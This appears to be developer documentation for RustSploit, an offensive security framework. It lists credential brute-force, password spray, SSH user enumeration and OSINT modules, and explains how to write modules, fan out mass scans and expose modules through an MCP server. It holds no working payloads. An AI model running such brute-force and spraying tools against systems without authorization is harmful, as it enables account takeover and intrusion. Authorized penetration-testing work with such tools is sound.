| `creds/generic/imap_bruteforce` | Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS support. Sends IMAP LOGIN commands, handles greeting banners, and supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
|
||||
| `creds/generic/l2tp_bruteforce` | Sends an L2TPv2 SCCRQ on UDP/1701 and reports whether the gateway responds with SCCRP / StopCCN. Single-target — scheduler does fan-out. NOTE: real L2TP credential brute-force needs a full PPP+CHAP stack, which is out of scope; this module detects reachable gateways only. | Manual | |
|
||||
| `creds/generic/memcached_bruteforce` | Probes Memcached SASL PLAIN auth via the binary protocol (cmd 0x21). Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/mqtt_bruteforce` | Tests MQTT v3.1.1 CONNECT authentication. Reads CONNACK return code to classify accepted / bad-credentials / not-authorized. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/mysql_bruteforce` | Tests MySQL/MariaDB authentication via the HandshakeV10 → HandshakeResponse41 (mysql_native_password) flow. Reads the OK/ERR packet to classify the result. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/pop3_bruteforce` | Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning. | Normal | |
|
||||
| `creds/generic/postgres_bruteforce` | Tests PostgreSQL authentication via the protocol v3 startup flow. Cleartext (R 3) and MD5 (R 5) auth methods supported; SASL/GSS/SSPI fall through as unsupported. Tries common defaults first, then operator-supplied wordlists. Single-target — scheduler does CIDR / random / file fan-out. | Normal | |
|
||||
| `creds/generic/proxy_bruteforce` | Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes. | Normal | |
|
||||
| `creds/generic/rdp_bruteforce` | Tests RDP authentication via the X.224 → MCS → CredSSP / Standard RDP flows. Negotiates Hybrid (NLA) → TLS → Standard. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/redis_bruteforce` | Brute-force Redis authentication using raw TCP protocol. Supports both legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). Tests default credentials, gathers server info on success, and supports subnet/mass scanning. | Normal | |
|
||||
| `creds/generic/rtsp_bruteforce` | Tests RTSP DESCRIBE auth (HTTP-Basic) on a given path. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/sample_cred_check` | Sample module that tests HTTP Basic Auth with default admin:admin credentials. Serves as a template for building custom credential checking modules — uses the native ModuleCtx/ModuleOutcome shape so credential findings flow into LootStore. | Normal | |
|
||||
| `creds/generic/smtp_bruteforce` | Brute-force SMTP authentication supporting PLAIN and LOGIN mechanisms. Tests credentials against mail servers with combo mode and subnet scanning. | Normal | |
|
||||
| `creds/generic/snmp_bruteforce` | Tests SNMPv2c community strings via a sysDescr.0 GetRequest. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/ssh_bruteforce` | Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
|
||||
| `creds/generic/ssh_spray` | Sprays a single password across multiple SSH targets and usernames. Avoids account lockouts by distributing attempts across hosts with configurable concurrency and delays. | Normal | |
|
||||
| `creds/generic/ssh_user_enum` | Enumerates valid SSH usernames via timing-based side-channel attack. Measures authentication response time differences to identify valid accounts, inspired by CVE-2018-15473. | Normal | |
|
||||
| `creds/generic/telnet_bruteforce` | Wordlist-driven Telnet credential probe with IAC handling. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/telnet_hose` | Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks. | Normal | |
|
||||
| `creds/generic/vnc_bruteforce` | Tests VNC RFB 3.x security-type 2 (DES challenge-response). Password-only — server silently truncates to 8 bytes. Single-target — scheduler does fan-out. | Normal | |
|
||||
|
||||
## osint (3)
|
||||
|
||||
- 3 modules, 1 with `check()`
|
||||
|
||||
| Module | Description | Rank | Check |
|
||||
|---|---|---|---|
|
||||
| `osint/cert_transparency` | Queries crt.sh for every TLS certificate issued to the target domain or its subdomains, then extracts unique subdomain names from the CN / SAN fields. Pure OSINT — no traffic to the target. | Normal | ✓ |
|
||||
| `osint/cname_chain` | Recursively follows CNAMEs for a single host (or a newline-separated file of hosts), tags terminal records that match known cloud providers, and flags hosts whose CNAME does not resolve to an A record (dangling). | Excellent | |
|
||||
| `osint/jwks_inspector` | Discovers JWKS endpoints under common paths, parses the key set, prints a per-key audit (kid/kty/alg/use/modulus length), and optionally exports each RSA public key as PEM (input for jwt_tool RS256→HS256 alg-confusion). | Excellent | |
|
||||
|
||||
## plugins (1)
|
||||
|
||||
- 1 modules, 0 with `check()`
|
||||
|
||||
| Module | Description | Rank | Check |
|
||||
|---|---|---|---|
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit native plugin API — uses ModuleCtx + ModuleOutcome and emits a Note finding per invocation. | Normal | |
|
||||
|
||||
@@ -0,0 +1,788 @@
|
||||
# Module Development
|
||||
|
||||
Reference for maintainers and contributors writing new Rustsploit modules.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit uses an `inventory`-based compile-time registry — no `build.rs`, no
|
||||
codegen file, no central match table:
|
||||
|
||||
1. **Each module file ends with `crate::register_native_module!(...)`** — a macro
|
||||
that expands to a unique `__ModuleImpl` struct + `impl Module` + an
|
||||
`inventory::submit!` block.
|
||||
2. **At binary startup, `inventory::iter::<ModuleEntry>` walks the registry**
|
||||
collected at link time. `crate::module::registered()` returns every
|
||||
`ModuleEntry`; `find(path)` looks up by `category/name` or short leaf name.
|
||||
3. **Shell / CLI / API / MCP all resolve modules through `commands::run_module`**,
|
||||
which calls `module::find(...)` and then `scheduler::run(...)`. Single dispatcher.
|
||||
4. **Mass-scan fan-out is universal** — `Target::Cidr` / `Multi` / `File` /
|
||||
`Random` is fanned out by `scheduler::run`. Modules only ever see
|
||||
`Target::Single` inside their `run` body.
|
||||
|
||||
Because the registry is collected at compile time, there is no runtime
|
||||
discovery cost and no drift — if you forget the `register_native_module!`
|
||||
line, the module simply isn't reachable.
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
|
||||
---
|
||||
|
||||
## Project Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point — CLI or shell mode, input validation
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── api.rs # REST + WebSocket API server — PQ encryption, rate limiting
|
||||
│ ├── ws.rs # PQ-encrypted WebSocket transport (/pq/ws)
|
||||
│ ├── config.rs # Global config and target validation
|
||||
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
|
||||
│ ├── global_options.rs # Persistent global options (setg/unsetg)
|
||||
│ ├── cred_store.rs # Credential store (JSON persistence)
|
||||
│ ├── spool.rs # Console output logging
|
||||
│ ├── workspace.rs # Host/service tracking + workspaces
|
||||
│ ├── loot.rs # Loot/evidence management
|
||||
│ ├── export.rs # JSON/CSV/summary report export
|
||||
│ ├── jobs.rs # Background job management
|
||||
│ ├── mcp/
|
||||
│ │ ├── mod.rs # MCP server entry point (--mcp flag)
|
||||
│ │ ├── server.rs # rmcp ServerHandler adapter (official MCP SDK owns transport)
|
||||
│ │ └── tools.rs # 29 MCP tool implementations
|
||||
│ ├── commands/
|
||||
│ │ └── mod.rs # Single dispatcher: module::find → scheduler::run
|
||||
│ ├── module.rs # Module trait, ModuleCtx, register_native_module! macro
|
||||
│ ├── scheduler.rs # Universal mass-scan fan-out, finding routing, checkpoint/resume
|
||||
│ ├── modules/
|
||||
│ │ ├── exploits/ # Exploit modules
|
||||
│ │ ├── scanners/ # Scanner modules
|
||||
│ │ ├── creds/ # Credential modules
|
||||
│ │ ├── osint/ # OSINT modules
|
||||
│ │ └── plugins/ # Plugin modules
|
||||
│ ├── native/ # Native integrations
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── rdp.rs # Native RDP auth (X.224, TLS, CredSSP/NTLM)
|
||||
│ │ ├── payload_engine.rs # Payload encoding/generation
|
||||
│ │ ├── url_encoding.rs # URL encoding utilities
|
||||
│ │ └── async_tls.rs # Async TLS helpers
|
||||
│ └── utils/ # Shared helpers (directory module)
|
||||
│ ├── mod.rs # Re-exports
|
||||
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
|
||||
│ ├── sanitize.rs # Input validation, length limits
|
||||
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
|
||||
│ ├── network.rs # HTTP client builders, TCP/UDP connect helpers
|
||||
│ ├── privilege.rs # Root privilege check (require_root)
|
||||
│ └── modules.rs # Module discovery helpers
|
||||
├── docs/ # This wiki
|
||||
├── lists/ # Wordlists and data files
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Required Module Signature
|
||||
|
||||
Two shapes are accepted. New modules should use the **native shape**.
|
||||
|
||||
### Native shape (preferred)
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo { /* ... */ }
|
||||
|
||||
pub async fn check(ctx: &ModuleCtx) -> CheckResult { /* optional */ }
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().unwrap_or("");
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
// ... probe target ...
|
||||
if vulnerable {
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: "<short marker>".to_string(),
|
||||
data: None,
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Exploits, "your_module", native, has_check);
|
||||
```
|
||||
|
||||
The macro form selects the body shape:
|
||||
- `register_native_module!(Cat::X, "name")` — legacy, no check
|
||||
- `register_native_module!(Cat::X, "name", has_check)` — legacy, with check
|
||||
- `register_native_module!(Cat::X, "name", native)` — native, no check
|
||||
- `register_native_module!(Cat::X, "name", native, has_check)` — native, with check
|
||||
|
||||
The scheduler routes `outcome.findings` into LootStore (`Credential`),
|
||||
Workspace notes (`Vulnerable`), and the events bus (every kind). No manual
|
||||
plumbing — see `route_findings` in `src/scheduler.rs`.
|
||||
|
||||
### Legacy shape (existing modules)
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> { /* ... */ Ok(()) }
|
||||
pub async fn check(target: &str) -> CheckResult { /* optional */ }
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Exploits, "your_module", has_check);
|
||||
```
|
||||
|
||||
Stdout-only via `mprintln!`. Findings are not emitted — the macro discards
|
||||
the `Result<()>` into `ModuleOutcome::ok()`.
|
||||
|
||||
---
|
||||
|
||||
## Migrating from legacy to native
|
||||
|
||||
Mechanical recipe per file:
|
||||
|
||||
1. Add the imports — `use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};`.
|
||||
2. Change `pub async fn run(target: &str) -> Result<()>` to
|
||||
`pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>`.
|
||||
3. At the top of the body: `let target = ctx.target.as_single().unwrap_or("");`. Mass scan still works — the scheduler fans out `Cidr/Multi/File/Random` into per-host `Target::Single` before invoking `run`, so `as_single()` is `Some(...)` for every legitimate call. `unwrap_or("")` matches the legacy `target: &str` semantic; downstream `cfg_prompt_*` / `normalize_target` will surface a real error if the empty string actually leaks through.
|
||||
4. Optionally migrate `check`: `pub async fn check(target: &str) -> CheckResult` →
|
||||
`pub async fn check(ctx: &ModuleCtx) -> CheckResult`, with the same
|
||||
`as_single()` pattern.
|
||||
5. Replace `Ok(())` with `Ok(outcome)` (declare `let mut outcome = ModuleOutcome::ok();`
|
||||
near the top).
|
||||
6. At each "found something" stdout site (vuln marker, recovered credential,
|
||||
open port banner), push a `Finding` of the right kind.
|
||||
7. Update the registration line — append `, native` (and keep `, has_check`
|
||||
if applicable) so the registration becomes
|
||||
`register_native_module!(Cat::X, "name", native[, has_check]);`.
|
||||
|
||||
`ctx.options.get_or("port", 22u16)` replaces ad-hoc parsing of legacy
|
||||
`cfg_prompt_*` answers when you need typed access; the legacy
|
||||
`cfg_prompt_*` helpers continue to work because the macro keeps the
|
||||
`RUN_CONTEXT` task-local in scope.
|
||||
|
||||
Reference migrations:
|
||||
- `src/modules/exploits/sample_exploit.rs` — has_check + Vulnerable finding
|
||||
- `src/modules/scanners/sample_scanner.rs` — Banner findings (HTTP/HTTPS)
|
||||
- `src/modules/creds/generic/sample_cred_check.rs` — Credential finding with `data` JSON
|
||||
|
||||
---
|
||||
|
||||
## Optional Module Functions
|
||||
|
||||
Modules can optionally provide metadata and vulnerability check functions:
|
||||
|
||||
### Module Info (`info`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Exploit Module".to_string(),
|
||||
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec![
|
||||
"CVE-XXXX-YYYY".to_string(),
|
||||
"https://example.com/advisory".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
default_port: Some(8080),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
|
||||
|
||||
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
|
||||
|
||||
### Vulnerability Check (`check`) — historical
|
||||
|
||||
> **Rustsploit is exploitation-only.** The dedicated `check()` / `CheckResult`
|
||||
> non-destructive-verification subsystem was removed; modules run an exploit and
|
||||
> report findings, and you should **not** reintroduce a check phase. The
|
||||
> `check`-related material in this and the next few sections is retained for
|
||||
> readers maintaining older modules — author new work against `run(&ModuleCtx)`
|
||||
> and emit `Finding`s. The `register_native_module!` `has_check` arm and the
|
||||
> `check` shell command / `POST /api/check` endpoint are vestigial and may be
|
||||
> retired.
|
||||
|
||||
```rust
|
||||
use crate::module_info::CheckResult;
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// (historical) — do NOT add a check phase to new modules
|
||||
match test_vulnerability(target).await {
|
||||
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
|
||||
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
|
||||
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Auto-Store Credentials and Loot
|
||||
|
||||
Modules can auto-store discovered data:
|
||||
|
||||
```rust
|
||||
// Store a found credential
|
||||
crate::cred_store::store_credential(host, port, "ssh", username, password,
|
||||
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
|
||||
|
||||
// Store loot (config file, hash dump, etc.)
|
||||
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
|
||||
|
||||
// Track a discovered host/service
|
||||
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Adding a New Module — Checklist
|
||||
|
||||
1. **Choose a location** under `src/modules/{exploits,scanners,creds,osint,plugins}`.
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **Create the `.rs` file** with `pub fn info()` + `pub async fn run(...)` (native or legacy
|
||||
shape — see above) and end the file with `crate::register_native_module!(Category::X, "name"[, native][, has_check]);`.
|
||||
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs` so the
|
||||
compiler links the file. Without this the `inventory::submit!` block never reaches the
|
||||
binary and the module is silently un-dispatchable. There is no `build.rs` and no
|
||||
central match table — the registry is collected at link time from every
|
||||
`register_native_module!` invocation.
|
||||
4. **Run `cargo build`** — the new module appears in `--list-modules` and is reachable
|
||||
through every front-end (CLI `-m`, shell `use`, `/api/run`, MCP `module.run`).
|
||||
5. **Regenerate the catalog** (optional) — `cargo run -- --gen-module-catalog > docs/Module-Catalog.md`
|
||||
walks the live registry and rewrites the catalog.
|
||||
|
||||
---
|
||||
|
||||
## Module Skeleton (native shape)
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
use std::time::Duration;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "example_status_probe".into(),
|
||||
description: "Probe /status for the 'vulnerable' marker.".into(),
|
||||
authors: vec!["Your Name".into()],
|
||||
references: vec!["https://example.com/advisory".into()],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("module requires a single-host target")?
|
||||
.to_string();
|
||||
let port: u16 = ctx.options.get_or("port", 80u16);
|
||||
|
||||
// Hierarchical rate limiter — global → per-module → per-target buckets.
|
||||
ctx.rate_limit(&target).await;
|
||||
|
||||
let url = format!("http://{target}:{port}/status");
|
||||
let body = build_http_client_with(Duration::from_secs(15), HttpClientOpts::permissive())?
|
||||
.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("Failed to reach {url}"))?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response body")?;
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
if body.contains("vulnerable") {
|
||||
outcome.findings.push(Finding {
|
||||
target: target.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!("{target}:{port} reports vulnerable"),
|
||||
data: None,
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Scanners, "example_status_probe", native, has_check);
|
||||
```
|
||||
|
||||
Notes:
|
||||
|
||||
- Mass-scan fan-out (`Cidr` / `File` / `Multi` / `Random`) is handled by the scheduler;
|
||||
inside `run` you only ever see `Target::Single`. `as_single()` returning `None` is
|
||||
a programming error, not user input.
|
||||
- `ctx.options.get_or("key", default)` is the typed escape from string parsing.
|
||||
Operators set values via shell `set port 8080`, CLI `-o port=8080`, or the API
|
||||
`options` map — all routed through `ModuleOptions`.
|
||||
- Findings push into `outcome.findings`; the scheduler routes them into LootStore
|
||||
(`Credential`), Workspace notes (`Vulnerable` / `OpenPort` / `Banner` / `Note`),
|
||||
and the events bus automatically. Do not call `cred_store::store_credential` or
|
||||
`workspace::add_note` yourself in native modules — emit a `Finding` instead.
|
||||
|
||||
### Legacy skeleton (existing modules)
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use colored::Colorize;
|
||||
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 80).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
crate::mprintln!("{} Checking {}:{}", "[*]".cyan(), target, port);
|
||||
// ... probe ...
|
||||
Ok(())
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Scanners, "example", has_check);
|
||||
```
|
||||
|
||||
The legacy macro arms keep `cfg_prompt_*`, `mprintln!`, and `is_cancelled()` working
|
||||
through the `RUN_CONTEXT` task-local that the macro installs around every call.
|
||||
Findings are not emitted — the macro discards `Result<()>` into `ModuleOutcome::ok()`
|
||||
and the route-findings pipeline sees nothing.
|
||||
|
||||
---
|
||||
|
||||
## Output Conventions
|
||||
|
||||
| Prefix | Color | Meaning |
|
||||
|--------|-------|---------|
|
||||
| `[+]` | Green | Success / found |
|
||||
| `[-]` | Red | Not found / not vulnerable |
|
||||
| `[!]` | Yellow | Warning |
|
||||
| `[*]` | Cyan | Info / progress |
|
||||
|
||||
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
|
||||
|
||||
---
|
||||
|
||||
## Async I/O Guidelines
|
||||
|
||||
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
|
||||
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
|
||||
- For concurrency:
|
||||
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
|
||||
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
|
||||
|
||||
```rust
|
||||
.with_context(|| format!("Failed to connect to {}", target))?
|
||||
```
|
||||
|
||||
**No panics in module code.** As of v0.4.9 the entire `src/` tree is panic-free — `grep` finds zero `.unwrap()`, `.expect(`, `panic!(`, `unreachable!(`, `unimplemented!(`, or `todo!(`. Use `?` propagation, `_or(default)`, `_or_default()`, `_or_else(|| ...)`, or explicit `match { Err(e) => ... }`. The CI policy is to keep that grep returning empty.
|
||||
|
||||
For length-checked slice conversions (a common source of historical `.expect()`), use `try_into().map_err(|_| anyhow!("descriptive context"))?` rather than `.expect("length was checked")` — even when the length truly was checked. Future readers shouldn't have to verify the invariant by hand.
|
||||
|
||||
---
|
||||
|
||||
## Cancellation
|
||||
|
||||
Long-running modules MUST honor cancellation so `kill <job_id>` from the shell or `DELETE /api/jobs/<id>` from the API actually stops the work. The cancellation token is per-`RunContext` and is triggered automatically when a job is killed.
|
||||
|
||||
```rust
|
||||
loop {
|
||||
if crate::context::is_cancelled() {
|
||||
crate::mprintln!("[!] Cancelled by user, stopping at host {}", current);
|
||||
break;
|
||||
}
|
||||
// ... one iteration of work ...
|
||||
}
|
||||
```
|
||||
|
||||
For `tokio::select!`-style code, use `crate::context::cancellation_token()` and `select!` against `tok.cancelled().await`:
|
||||
|
||||
```rust
|
||||
let tok = crate::context::cancellation_token();
|
||||
tokio::select! {
|
||||
res = real_work() => handle(res),
|
||||
_ = tok.cancelled() => {
|
||||
crate::mprintln!("[!] Cancelled");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The framework also emits `ModuleStarted` and `ModuleFinished` events automatically around every `run_module(...)` call, so subscribers always see lifecycle transitions.
|
||||
|
||||
---
|
||||
|
||||
## Lifecycle Hooks
|
||||
|
||||
Native modules can override three optional hooks on the `Module` trait. The
|
||||
scheduler runs them in a fixed order around every CLI/API invocation:
|
||||
|
||||
```text
|
||||
pre_check → (per-host) check / run → cleanup
|
||||
↑ ↑
|
||||
once, before fan-out once, after fan-out
|
||||
```
|
||||
|
||||
- `pre_check(&ModuleCtx)` — validate `ctx.options` once before fan-out so a `/16`
|
||||
scan with a missing wordlist surfaces one error instead of 65 534 identical ones.
|
||||
Default: succeed.
|
||||
- `cleanup(&ModuleCtx, &ModuleOutcome)` — release long-lived resources (open files,
|
||||
persistent connections) after the whole fan-out completes or is cancelled.
|
||||
`outcome` is the aggregate (success count + every routed finding). Default: no-op.
|
||||
|
||||
`check(&ModuleCtx)` is the existing non-destructive vulnerability check; the scheduler
|
||||
exposes it via the shell `check` command and `POST /api/check`. Override
|
||||
`fn has_check()` if your check is meaningful (the `register_native_module!` `has_check`
|
||||
token sets this for you).
|
||||
|
||||
Tracked task spawns:
|
||||
|
||||
```rust
|
||||
ctx.spawn(async move {
|
||||
long_running_telemetry().await;
|
||||
});
|
||||
```
|
||||
|
||||
`ctx.spawn` registers the join handle on the active `RunContext`. The scheduler
|
||||
calls `crate::context::abort_all_spawned()` from `cleanup`, so cancelled or failed
|
||||
runs do not leak orphan tasks. Plain `tokio::spawn` is still allowed but bypasses
|
||||
this — only use it for genuinely fire-and-forget work that can outlive the module.
|
||||
|
||||
## Capabilities
|
||||
|
||||
`fn capabilities(&self) -> Capabilities` advertises what the module needs / promises:
|
||||
|
||||
```rust
|
||||
use crate::module::Capabilities;
|
||||
|
||||
fn capabilities(&self) -> Capabilities {
|
||||
Capabilities {
|
||||
safe_for_high_concurrency: true, // rate-limit-friendly probe
|
||||
requires_root: false,
|
||||
check_only: false, // run() is destructive / interactive
|
||||
network: true,
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
There is **no** per-module mass-scan flag — the scheduler fans out for every module
|
||||
(`Capabilities::native_mass_scan` was removed in v0.5.1). Capabilities feed into UI
|
||||
gating ("show check button", "warn that root is needed") and future scheduler
|
||||
decisions; they are not load-bearing today, so default values are fine for most
|
||||
modules.
|
||||
|
||||
## Scheduler Limits & Rate Limiter
|
||||
|
||||
`scheduler::SchedulerLimits` carries the per-invocation budget. Defaults are pulled
|
||||
from the active tenant's `global_options` (`set` / `setg` in the shell):
|
||||
|
||||
| Field | Default | `global_options` key |
|
||||
|---|---|---|
|
||||
| `concurrency` | 50 | `concurrency` |
|
||||
| `timeout_secs` | 60 | `module_timeout` |
|
||||
| `max_random_hosts` | 10 000 | `max_random_hosts` |
|
||||
| `precheck_port` | _none_ | `port` |
|
||||
| `ipv6_max_hosts` | 2³² | _hard limit_ |
|
||||
| `warn_threshold` | 65 536 | _hard limit_ |
|
||||
| `honeypot_detection` | on | `honeypot_detection` |
|
||||
|
||||
Per-target deadlines are enforced with `tokio::time::timeout`; per-host honeypot
|
||||
checks call `utils::network::quick_honeypot_check` and skip targets that look like
|
||||
they have 11+ common ports open.
|
||||
|
||||
Rate limiting is hierarchical (`crate::rate_limit::GlobalLimiter`):
|
||||
|
||||
```text
|
||||
global RPS → per-module RPS → per-target RPS
|
||||
```
|
||||
|
||||
Native modules call `ctx.rate_limit(target_host).await` once per round trip:
|
||||
|
||||
```rust
|
||||
for cred in &candidates {
|
||||
if ctx.is_cancelled() { break; }
|
||||
ctx.rate_limit(&target).await; // gate every probe
|
||||
try_login(&target, cred).await?;
|
||||
}
|
||||
```
|
||||
|
||||
All tiers default to RPS = 0 (no-op). Operators tune them through `global_options`:
|
||||
|
||||
- `global_rps` — process-wide ceiling (the `LIMITER` singleton in `src/rate_limit.rs`).
|
||||
- `module_rps` — default cap per module-type bucket; overridable per module via
|
||||
`module_rps:<category/name>` (e.g. `module_rps:scanners/cors_reflection_scanner`).
|
||||
- `target_rps` — cap per `(module, target_host)` bucket.
|
||||
|
||||
Because `LIMITER` is a `Lazy<Arc<GlobalLimiter>>`, the same budget applies across
|
||||
concurrent scheduler invocations — two parallel runs share one global bucket.
|
||||
|
||||
## Structured Findings
|
||||
|
||||
Native modules emit findings via `outcome.findings.push(Finding { ... })` — the
|
||||
scheduler routes each one based on `kind`:
|
||||
|
||||
| `FindingKind` | Routed to |
|
||||
|---|---|
|
||||
| `Credential` | `LootStore::store_loot` (kind = `"credential"`, payload = `data` JSON or `message`) |
|
||||
| `Vulnerable` | `Workspace::add_note` |
|
||||
| `OpenPort` / `Banner` / `Note` | `Workspace::track_host` + `Workspace::add_note` (when message non-empty) |
|
||||
|
||||
Every finding (regardless of kind) is also broadcast as
|
||||
`ModuleEvent::Finding { module, target, kind, message }` on the events bus.
|
||||
WebSocket subscribers (panels, MCP tooling, integrations) consume them without
|
||||
grepping stdout.
|
||||
|
||||
Legacy modules can still emit one-off events directly:
|
||||
|
||||
```rust
|
||||
crate::events::emit(crate::events::ModuleEvent::CredentialFound {
|
||||
host: target.to_string(),
|
||||
port,
|
||||
service: "ssh".into(),
|
||||
username: user.into(),
|
||||
});
|
||||
```
|
||||
|
||||
Available variants (all `#[non_exhaustive]` — adding more is non-breaking):
|
||||
|
||||
- `ModuleStarted { module, target }` — auto-emitted by `commands::run_module`
|
||||
- `ModuleFinished { module, target, success }` — auto-emitted on return
|
||||
- `HostUp { host }`
|
||||
- `ServiceDetected { host, port, service, version: Option<String> }`
|
||||
- `CredentialFound { host, port, service, username }`
|
||||
- `LootStored { id, host, kind }`
|
||||
|
||||
Emission is non-blocking and silently drops when there are no subscribers (the common CLI-only case).
|
||||
|
||||
---
|
||||
|
||||
## Network Wrappers & Source Port
|
||||
|
||||
All TCP/UDP connections must go through the framework's network wrappers so
|
||||
`setg source_port <port>` is honoured universally — including during mass-scan
|
||||
fan-out where hundreds of concurrent tasks share the same source port via
|
||||
`SO_REUSEADDR` / `SO_REUSEPORT`.
|
||||
|
||||
| Wrapper | Use case |
|
||||
|---------|----------|
|
||||
| `tcp_connect_str(addr, timeout)` | Async TCP from `"host:port"` string |
|
||||
| `tcp_connect_addr(addr, timeout)` | Async TCP from `SocketAddr` |
|
||||
| `blocking_tcp_connect(addr, timeout)` | Sync TCP for `spawn_blocking` (e.g. telnet crate) |
|
||||
| `udp_bind(Some(ip))` | UDP socket with correct address family |
|
||||
|
||||
**Third-party library pattern:** Libraries (suppaftp, telnet) that create their
|
||||
own TCP connections bypass source port binding. Instead, connect through the
|
||||
